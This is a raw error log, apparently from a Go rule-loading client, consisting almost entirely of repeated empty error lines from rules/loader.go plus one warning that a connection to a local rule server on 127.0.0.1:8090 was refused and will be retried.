source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing: dial tcp 127.0.0.1:8090: connectex: No connection could be made because the target machine actively refused it.". Retrying in 5.433649121s... source=client/rulestore.go:48 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= 